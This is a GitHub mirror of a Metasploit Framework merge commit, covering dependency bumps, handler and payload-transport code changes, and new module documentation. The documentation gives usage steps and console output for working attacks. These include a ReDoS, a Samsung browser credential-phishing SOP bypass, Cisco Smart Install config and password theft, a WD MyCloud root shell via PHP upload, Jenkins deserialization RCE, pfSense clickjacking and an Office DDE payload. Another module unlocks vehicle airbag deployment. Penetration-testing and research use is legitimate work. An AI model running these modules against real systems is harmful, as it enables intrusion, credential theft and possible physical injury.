1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Merge branch 'upstream-master' into land-9296-

This commit is contained in:
Brent Cook 2017-12-20 12:07:53 -06:00
commit 210f137b7b
95 changed files with 2354 additions and 255 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.16.23)
metasploit-framework (4.16.25)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -17,9 +17,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.19)
metasploit-payloads (= 1.3.20)
metasploit_data_models
metasploit_payloads-mettle (= 0.2.8)
metasploit_payloads-mettle (= 0.3.2)
msgpack
nessus_rest
net-ssh
@ -37,7 +37,6 @@ PATH
railties
rb-readline
rbnacl (< 5.0.0)
rbnacl-libsodium
recog
redcarpet
rex-arch
@ -138,7 +137,7 @@ GEM
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.7.3)
grpc (1.8.0)
google-protobuf (~> 3.1)
googleapis-common-protos-types (~> 1.0.0)
googleauth (>= 0.5.1, < 0.7)
@ -178,7 +177,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.19)
metasploit-payloads (1.3.20)
metasploit_data_models (2.0.15)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -189,7 +188,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.2.8)
metasploit_payloads-mettle (0.3.2)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.10.3)
@ -232,8 +231,8 @@ GEM
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
activesupport (>= 4.2.0.alpha)
rails-dom-testing (1.0.8)
activesupport (>= 4.2.0.beta, < 5.0)
rails-dom-testing (1.0.9)
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.3)
@ -247,8 +246,6 @@ GEM
rb-readline (0.5.5)
rbnacl (4.0.2)
ffi
rbnacl-libsodium (1.0.15.1)
rbnacl (>= 3.0.1)
recog (2.1.17)
nokogiri
redcarpet (3.4.0)

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

View File

@ -0,0 +1,6 @@
.cc-window{opacity:1;transition:opacity 1s ease}.cc-window.cc-invisible{opacity:0}.cc-animate.cc-revoke{transition:transform 1s ease}.cc-animate.cc-revoke.cc-top{transform:translateY(-2em)}.cc-animate.cc-revoke.cc-bottom{transform:translateY(2em)}.cc-animate.cc-revoke.cc-active.cc-bottom,.cc-animate.cc-revoke.cc-active.cc-top,.cc-revoke:hover{transform:translateY(0)}.cc-grower{max-height:0;overflow:hidden;transition:max-height 1s}
.cc-link,.cc-revoke:hover{text-decoration:underline}.cc-revoke,.cc-window{position:fixed;overflow:hidden;box-sizing:border-box;font-family:Helvetica,Calibri,Arial,sans-serif;font-size:16px;line-height:1.5em;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;z-index:9999}.cc-window.cc-static{position:static}.cc-window.cc-floating{padding:2em;max-width:24em;-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner{padding:1em 1.8em;width:100%;-ms-flex-direction:row;flex-direction:row}.cc-revoke{padding:.5em}.cc-header{font-size:18px;font-weight:700}.cc-btn,.cc-close,.cc-link,.cc-revoke{cursor:pointer}.cc-link{opacity:.8;display:inline-block;padding:.2em}.cc-link:hover{opacity:1}.cc-link:active,.cc-link:visited{color:initial}.cc-btn{display:block;padding:.4em .8em;font-size:.9em;font-weight:700;border-width:2px;border-style:solid;text-align:center;white-space:nowrap}.cc-banner .cc-btn:last-child{min-width:140px}.cc-highlight .cc-btn:first-child{background-color:transparent;border-color:transparent}.cc-highlight .cc-btn:first-child:focus,.cc-highlight .cc-btn:first-child:hover{background-color:transparent;text-decoration:underline}.cc-close{display:block;position:absolute;top:.5em;right:.5em;font-size:1.6em;opacity:.9;line-height:.75}.cc-close:focus,.cc-close:hover{opacity:1}
.cc-revoke.cc-top{top:0;left:3em;border-bottom-left-radius:.5em;border-bottom-right-radius:.5em}.cc-revoke.cc-bottom{bottom:0;left:3em;border-top-left-radius:.5em;border-top-right-radius:.5em}.cc-revoke.cc-left{left:3em;right:unset}.cc-revoke.cc-right{right:3em;left:unset}.cc-top{top:1em}.cc-left{left:1em}.cc-right{right:1em}.cc-bottom{bottom:1em}.cc-floating>.cc-link{margin-bottom:1em}.cc-floating .cc-message{display:block;margin-bottom:1em}.cc-window.cc-floating .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-banner{-ms-flex-align:center;align-items:center}.cc-banner.cc-top{left:0;right:0;top:0}.cc-banner.cc-bottom{left:0;right:0;bottom:0}.cc-banner .cc-message{-ms-flex:1;flex:1}.cc-compliance{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-line-pack:justify;align-content:space-between}.cc-compliance>.cc-btn{-ms-flex:1;flex:1}.cc-btn+.cc-btn{margin-left:.5em}
@media print{.cc-revoke,.cc-window{display:none}}@media screen and (max-width:900px){.cc-btn{white-space:normal}}@media screen and (max-width:414px) and (orientation:portrait),screen and (max-width:736px) and (orientation:landscape){.cc-window.cc-top{top:0}.cc-window.cc-bottom{bottom:0}.cc-window.cc-banner,.cc-window.cc-left,.cc-window.cc-right{left:0;right:0}.cc-window.cc-banner{-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-floating{max-width:none}.cc-window .cc-message{margin-bottom:1em}.cc-window.cc-banner{-ms-flex-align:unset;align-items:unset}}
.cc-floating.cc-theme-classic{padding:1.2em;border-radius:5px}.cc-floating.cc-type-info.cc-theme-classic .cc-compliance{text-align:center;display:inline;-ms-flex:none;flex:none}.cc-theme-classic .cc-btn{border-radius:5px}.cc-theme-classic .cc-btn:last-child{min-width:140px}.cc-floating.cc-type-info.cc-theme-classic .cc-btn{display:inline-block}
.cc-theme-edgeless.cc-window{padding:0}.cc-floating.cc-theme-edgeless .cc-message{margin:2em 2em 1.5em}.cc-banner.cc-theme-edgeless .cc-btn{margin:0;padding:.8em 1.8em;height:100%}.cc-banner.cc-theme-edgeless .cc-message{margin-left:1em}.cc-floating.cc-theme-edgeless .cc-btn+.cc-btn{margin-left:0}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,67 @@
## Vulnerable Application
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
Any application that uses a vulnerable version of this module and calls the `getOS`
or `getResult` functions will be vulnerable to this module. An example server is provided
below.
## How to Install
To install a vulnerable version of `ua-parser-js`, run:
```
npm i ua-parser-js@0.7.15
```
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
6. Once all dependencies are installed, run the server with `node server.js`.
7. Open up a new terminal.
8. Start msfconsole.
9. `use auxiliary/dos/http/ua_parser_js_redos`.
10. `set RHOST [IP]`.
11. `run`.
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
## Scenarios
### ua-parser-js npm module version 0.7.15
Expected output for successful exploitation:
```
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
```
### Example Vulnerable Application
```
// npm i express
// npm i ua-parser-js@0.7.15 (vulnerable)
// npm i ua-parser-js (non-vulnerable)
const express = require('express')
const uaParser = require('ua-parser-js');
const app = express()
app.get('/', (req, res) => {
var parser = new uaParser(req.headers['user-agent']);
res.end(JSON.stringify(parser.getResult()));
});
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
```

View File

@ -0,0 +1,56 @@
## Description
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
## Vulnerable Application
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
## Verification Steps
1. Start `msfconsole -q`
2. `use auxiliary/gather/samsung_browser_sop_bypass`
3. `set SRVHOST`
4. `set SRVPORT`
5. `set URIPATH`
6. `set TARGET_URL`
5. `run`
## Scenarios
```
$ sudo msfconsole -q
msf > use auxiliary/gather/samsung_browser_sop_bypass
msf auxiliary(samsung_browser_sop_bypass) > set SRVHOST 192.168.1.104
SRVHOST => 192.168.1.104
msf auxiliary(samsung_browser_sop_bypass) > set SRVPORT 9090
SRVPORT => 9090
msf auxiliary(samsung_browser_sop_bypass) > set URIPATH /
URIPATH => /
msf auxiliary(samsung_browser_sop_bypass) > set TARGET_URL https://www.google.com/csi
TARGET_URL => https://www.google.com/csi
msf auxiliary(samsung_browser_sop_bypass) > run
[*] Auxiliary module execution completed
msf auxiliary(samsung_browser_sop_bypass) >
[*] Using URL: http://192.168.1.104:9090/
[*] Server started.
[*] 192.168.1.101: Request 'GET /'
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
[*] 192.168.1.101: Request 'GET /favicon.ico'
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
[*] 192.168.1.101: Request 'GET /favicon.ico'
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
[+] 192.168.1.101: Collected credential for 'https://www.google.com/csi' emailID:MyStrongPassword
msf auxiliary(samsung_browser_sop_bypass) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
emailID MyStrongPassword https://www.google.com/csi Password
msf auxiliary(samsung_browser_sop_bypass) >
```
## Demos
Working of MSF Module: `https://youtu.be/ulU98cWVhoI`
Vulnerable Browser: `https://youtu.be/lpkbogxJXnw`

View File

@ -5,13 +5,28 @@
## Verification Steps
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
2. Do: ```set ACTION SCAN```
3. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
3. Do: ```run```
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
## Options
### SLEEP
Time to wait for connection back from target. Default is `60` seconds if using `DOWNLOAD` action
### LHOST
Address to bind to for TFTP server to accept connections if using `DOWNLOAD` action
## Actions
There are two actions, default being ```SCAN```
1. **SCAN** - Scan for Smart Install endpoints. [Default]
2. **DOWNLOAD** - Request devices configuration and send to our TFTP server
## Scenarios
Using the default `SCAN` action
```
msf auxiliary(cisco_smart_install) > run
@ -28,3 +43,19 @@ msf auxiliary(cisco_smart_install) > run
[*] Scanned 512 of 512 hosts (100% complete)
[*] Auxiliary module execution completed
```
Using the `DOWNLOAD` action
```
[*] 192.168.0.26:4786 - Starting TFTP Server...
[+] 192.168.0.26:4786 - Fingerprinted the Cisco Smart Install protocol
[*] 192.168.0.26:4786 - Attempting copy system:running-config tftp://192.168.0.11/kWqjngYF
[*] 192.168.0.26:4786 - Waiting 60 seconds for configuration
[*] 192.168.0.26:4786 - Incoming file from 192.168.0.26 - kWqjngYF (31036 bytes)
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Decrypted Enable Password: testcase
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Username 'admin' with Decrypted Password: testcase)
[*] 192.168.0.26:4786 - Providing some time for transfers to complete...
[*] 192.168.0.26:4786 - Shutting down the TFTP service...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,34 @@
## Vulnerable Application
[Web Services Dynamic Discovery (WS-Discovery)](https://en.wikipedia.org/wiki/WS-Discovery) is a multicast discovery protocol utilising SOAP over UDP to locate web services on a local network.
Web service enabled devices typically include printers, scanners and file shares.
The reply from some devices may include optional vendor extensions. This data may include network information such as the device MAC address and hostname, or hardware information such as the serial number, make, and model.
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/scanner/wsdd/wsdd_query`
3. Do: `set RHOSTS [IP]` (Default: `239.255.255.250`)
4. Do: `run`
## Scenarios
```
msf > use auxiliary/scanner/wsdd/wsdd_query
msf auxiliary(wsdd_query) > set rhosts 239.255.255.250
rhosts => 239.255.255.250
msf auxiliary(wsdd_query) > run
[*] Sending WS-Discovery probe to 1 hosts
[+] 10.1.1.184 responded with:
Address: http://10.1.1.184:3911/
Types: wsdp:Device, wprt:PrintDeviceType, wscn:ScanDeviceType, hpd:hpDevice
Vendor Extensions: {"HardwareAddress"=>"123456789ABC", "UUID"=>"12345678-1234-1234-abcd-123456789abc", "IPv4Address"=>"10.1.1.123", "Hostname"=>"HP09AAFB", "DeviceId"=>"MFG:HP;MDL:Photosmart 5520 series;DES:CX042A;", "DeviceIdentification"=>{"MakeAndModel"=>"Photosmart 5520 series", "MakeAndModelBase"=>"Photosmart 5520 series"}, "SerialNumber"=>"123456", "Services"=>" Print9100 SclScan RESTScan CIFS DOT4 LEDM", "AdapterType"=>"WifiEmbedded"}
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,40 @@
## Description
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
## Vulnerable Application
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
## Verification Steps
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
2. Do: ```set RHOST [IP]```
3. Do: ```check```
4. It should be reported as vulnerable
5. Do: ```run```
6. You should get a shell
## Scenarios
```
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
RHOST => 192.168.86.104
msf exploit(wd_mycloud_multiupload_upload) > check
[+] 192.168.86.104:80 The target is vulnerable.
msf exploit(wd_mycloud_multiupload_upload) > run
[*] Started reverse TCP handler on 192.168.86.215:4444
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
[+] Uploaded PHP payload successfully.
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
[*] Sending stage (37543 bytes) to 192.168.86.104
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
[+] Deleted .7bc5NqFMK5.php
meterpreter > getuid
Server username: root (0)
```

View File

@ -0,0 +1,62 @@
Jenkins XStream Groovy classpath Deserialization Vulnerability (CVE-2016-0792)
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability.
## Vulnerable Application
Jenkins versions < 1.650 and Jenkins LTS versions < 1.642.2
Download Jenkins (Windows) < version 1.650 from here:
http://mirrors.jenkins-ci.org/windows/
Windows Installation: Double click .msi
Download Jenkins LTS (Debian) < version 1.642.2 from here:
https://pkg.jenkins.io/debian-stable/
Download Jenkins (Debian) < version 1.650 from here:
https://pkg.jenkins.io/debian/
Debian Installation: `sudo dpkg --install jenkins_1.642.1_all.deb`
## Options
**TARGETURI**
The base path to Jenkins application `/` by default
**VHOST**
The HTTP server virtual host. You may need to configure this as well, even though it is set as optional.
**The Check Command**
The `jenkins_xstream_deserialize` module comes with a check command that can attempt to check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
Note: The check only uses `appears to be vulnerable` because it is not possible to differentiate from HTTP headers which Jenkins line (Weekly or LTS) is running.
```
set RHOST [IP]
set TARGETURI [path to Jenkins]
```
```
msf exploit(jenkins_xstream_deserialize) > check
[*] 192.168.1.64:8080 The target appears to be vulnerable..
```
**Exploiting the Host**
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
```
msf exploit(jenkins_xstream_deserialize) > set RHOST 192.168.1.37
RHOST => 192.168.1.37
msf exploit(jenkins_xstream_deserialize) > set target 3
target => 3
msf exploit(jenkins_xstream_deserialize) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(jenkins_xstream_deserialize) > exploit
```

View File

@ -0,0 +1,23 @@
## Vulnerable Application
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
## Vulnerable Setup
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.
## Verification Steps
1. `use exploit/unix/http/pfsense_clickjacking`
2. `set TARGETURI https://<ip WebGUI>`
3. `exploit`
4. Browse to the URL returned by MSF
5. Click anywhere on the returned page
6. Note that a new Meterpreter sessions was started.
## Options
**TARGETURI**
The base path of the WebGUI. The default base path is https://192.168.1.1/

View File

@ -0,0 +1,50 @@
Module abuses a feature in MS Field Equations that allow an user to execute an arbitrary application.
## Vulnerable Application
All Microsoft Office versions
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/fileformat/office_dde_delivery`
3. Do: `set PAYLOAD [PAYLOAD]`
4. Do: `run`
## Options
### FILENAME
Filename to output, whether injecting or generating a blank one
### INJECT_PATH
Path to filename to inject
## Example
```
msf > use exploit/windows/fileformat/office_dde_delivery
msf exploit(office_dde_delivery) > set FILENAME msf.rtf
FILENAME => /home/mumbai/file.rtf
msf exploit(office_dde_delivery) > set LHOST ens3
LHOST => ens3
msf exploit(office_dde_delivery) > set LPORT 35116
LPORT => 35116
msf exploit(office_dde_delivery) > run
[*] Using URL: http://0.0.0.0:8080/DGADAcDZ
[*] Local IP: http://192.1668.0.11:8080/DGADAcDZ
[*] Server started.
[*] Handling request for .sct from 192.168.0.24
[*] Delivering payload to 192.168.0.24...
[*] Sending stage (205379 bytes) to 192.168.0.24
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217)
meterpreter > sysinfo
Computer : TEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```

View File

@ -0,0 +1,77 @@
Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module will first query all Pyrotechnic Control Units (PCUs) in the target vehicle to discover how many pyrotechnic devices are present, then attempt to validate the security access token using the default simplified algorithm. On success, the vehicle will be in a state that is prepped to deploy its pyrotechnic devices (e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)
This module is based on research by Johannes Braun and Juergen Duerrwang, which you can read more about [here](https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts) along with related [CVE-2017-14937](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14937).
## Options
**SRCID**
This is the SRC CAN ID for the PCU connection. Default is 0x7F1.
**DSTID**
This is the CAN ID of the expected response. Default is 0x7F9.
**CANBUS**
Determines which CAN bus to communicate on. Type 'supported_buses' for valid options.
**PADDING**
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
## Scenarios
A successful unlock and prepped-to-deploy of pyrotechnic devices in a target vehicle:
```
$ ./msfconsole -q
msf > use auxiliary/server/local_hwbridge
msf auxiliary(local_hwbridge) > set uripath /
uripath => /
msf auxiliary(local_hwbridge) > run
[*] Auxiliary module running as background job 0.
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://10.0.2.4:8080/
[*] Server started.
msf auxiliary(local_hwbridge) > use auxiliary/client/hwbridge/connect
msf auxiliary(connect) > run
[*] Attempting to connect to 127.0.0.1...
[*] Hardware bridge interface session 1 opened (127.0.0.1 -> 127.0.0.1) at 2017-12-17 10:41:27 -0600
[+] HWBridge session established
[*] HW Specialty: {"automotive"=>true} Capabilities: {"can"=>true, "custom_methods"=>true}
[!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge
[!] could have real world consequences. Use this module in a controlled testing
[!] environment and with equipment you are authorized to perform testing on.
[*] Auxiliary module execution completed
msf auxiliary(connect) > sessions -i 1
[*] Starting interaction with 1...
hwbridge >
hwbridge > run post/hardware/automotive/pdt canbus=<target CAN bus>
[*] Gathering Data...
[*] VIN: 5555
[*] Loop info (1 pyrotechnic devices):
[*] 69 | battery clamp main battery
[*] | Deployment Status: Fail ()
[*] Number of PCUs in vehicle | 1
[*] Info About First PCU
[*] Address format this PCU(s) | 11 bit normal addressing
[*] Number of pyrotechnic charges | 1
[*] Version of ISO26021 standard | 1
[*] ACL type | CAN only
[*] ACL Type version | 1
[*]
[*] Switching to Diagnostic Session 0x04...
[*] Getting Security Access Seed...
[*] Success. Seed: ["01", "CF", "00", "00", "00"]
[*] Attempting to unlock device...
[*] Success!
[!] Warning! You are now able to start the deployment of airbags in this vehicle
[!] *** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***
```

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.16.23"
VERSION = "4.16.25"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
require 'msf/base'
require 'msf/base/sessions/scriptable'
require 'rex/post/hwbridge'
module Msf
@ -24,6 +24,7 @@ class HWBridge < Rex::Post::HWBridge::Client
# This interface supports interactive commands.
#
include Msf::Session::Interactive
include Msf::Session::Scriptable
#
# Initialize the HWBridge console

View File

@ -635,24 +635,26 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# Platform-agnostic archs go first
case self.arch
when 'java'
'jar'
['jar']
when 'php'
'php'
['php']
when 'python'
'py'
['py']
else
# otherwise we fall back to the platform
case self.platform
when 'windows'
"#{self.arch}.dll"
["#{self.arch}.dll"]
when 'linux' , 'aix' , 'hpux' , 'irix' , 'unix'
'lso'
['bin', 'elf']
when 'osx'
['elf']
when 'android', 'java'
'jar'
['jar']
when 'php'
'php'
['php']
when 'python'
'py'
['py']
else
nil
end

View File

@ -143,6 +143,70 @@ module Exploit::Remote::DCERPC
end
end
# XXX: Copypasta from exploit/windows/smb/ms17_010_eternalblue
#
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
def dcerpc_getarch
ret = nil
connect_timeout = (datastore['ConnectTimeout'] || 10).to_i
read_timeout = (datastore['DCERPC::ReadTimeout'] || 10).to_i
pkt = Rex::Proto::DCERPC::Packet.make_bind(
# Abstract Syntax: EPMv4 V3.0
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
# Transfer Syntax[1]: 64bit NDR V1
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
).first
begin
nsock = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => 135,
'Proxies' => proxies,
'Timeout' => connect_timeout,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
rescue Rex::ConnectionError => e
vprint_error(e.to_s)
return nil
end
nsock.put(pkt)
begin
res = nsock.get_once(60, read_timeout)
rescue EOFError
vprint_error('DCE/RPC socket returned EOFError')
return nil
end
disconnect(nsock)
begin
resp = Rex::Proto::DCERPC::Response.new(res)
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
vprint_error(e.to_s)
return nil
end
# Ack result: Acceptance (0)
if resp.ack_result.first == 0
ret = ARCH_X64
end
# Ack result: Provider rejection (2)
# Ack reason: Proposed transfer syntaxes not supported (2)
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
ret = ARCH_X86
end
ret
end
# Convert a standard ASCII string to 16-bit Unicode
def unicode(str)
Rex::Text.to_unicode(str)

View File

@ -339,6 +339,13 @@ protected
self.pending_connections += 1
resp.body = ''
resp.code = 200
resp.message = 'OK'
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Process the requested resource.
case info[:mode]
when :init_connect
@ -354,59 +361,27 @@ protected
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
when :init_python, :init_native, :init_java
when :init_python, :init_native, :init_java, :connect
# TODO: at some point we may normalise these three cases into just :init
url = payload_uri(req) + conn_id + '/'
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
uri = URI(payload_uri(req) + conn_id)
if info[:mode] == :connect
print_status("Attaching orphaned/stageless session...")
else
begin
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
# TODO: does this have to happen just for windows, or can we set it for all?
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
begin
blob = self.generate_stage(
url: url,
uuid: uuid,
uri: conn_id
)
resp['Content-Type'] = 'application/octet-stream'
resp.body = blob
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
rescue NoMethodError
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
return
rescue NoMethodError
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
return
end
end
when :connect
print_status("Attaching orphaned/stageless session...")
resp.body = ''
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
@ -423,8 +398,6 @@ protected
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
end
resp.code = 200
resp.message = 'OK'
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
@ -436,6 +409,5 @@ protected
end
end
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
@ -16,6 +17,7 @@ module Payload::Python::MeterpreterLoader
include Msf::Payload::Python
include Msf::Payload::UUID::Options
include Msf::Payload::TransportConfig
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -106,17 +108,12 @@ module Payload::Python::MeterpreterLoader
# so we need to generate it
# TODO: move this to somewhere more common so that it can be used across payload types
unless opts[:url].to_s == ''
# Build the callback URL (TODO: share this logic with TransportConfig
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
callback_url = [
opts[:url].to_s.split(':')[0],
'://',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
':',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
ds['LURI'].to_s,
uri,
'/'
].join('')
opts[:scheme] ||= opts[:url].to_s.split(':')[0]
scheme, lhost, lport = transport_uri_components(opts)
callback_url = "#{scheme}://#{lhost}:#{lport}#{ds['LURI']}#{uri}/"
# patch in the various payload related configuration
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")

View File

@ -36,13 +36,26 @@ module Msf::Payload::TransportConfig
def transport_config_reverse_https(opts={})
ds = opts[:datastore] || datastore
opts[:scheme] ||= 'https'
config = transport_config_reverse_http(opts)
config[:scheme] = ds['OverrideScheme'] || 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
ds['HandlerSSLCert'])
config
end
def transport_uri_components(opts={})
ds = opts[:datastore] || datastore
scheme = opts[:scheme]
lhost = ds['LHOST']
lport = ds['LPORT']
if ds['OverrideRequestHost']
scheme = ds['OverrideScheme'] || scheme
lhost = ds['OverrideLHOST'] || lhost
lport = ds['OverrideLPORT'] || lport
end
[scheme, lhost, lport]
end
def transport_config_reverse_http(opts={})
# most cases we'll have a URI already, but in case we don't
# we should ask for a connect to happen given that this is
@ -55,10 +68,13 @@ module Msf::Payload::TransportConfig
end
ds = opts[:datastore] || datastore
opts[:scheme] ||= 'http'
scheme, lhost, lport = transport_uri_components(opts)
{
scheme: ds['OverrideScheme'] || 'http',
lhost: opts[:lhost] || ds['LHOST'],
lport: (opts[:lport] || ds['LPORT']).to_i,
scheme: scheme,
lhost: lhost,
lport: lport.to_i,
uri: uri,
ua: ds['HttpUserAgent'],
proxy_host: ds['HttpProxyHost'],

View File

@ -128,7 +128,7 @@ module Payload::Windows::ReverseHttp
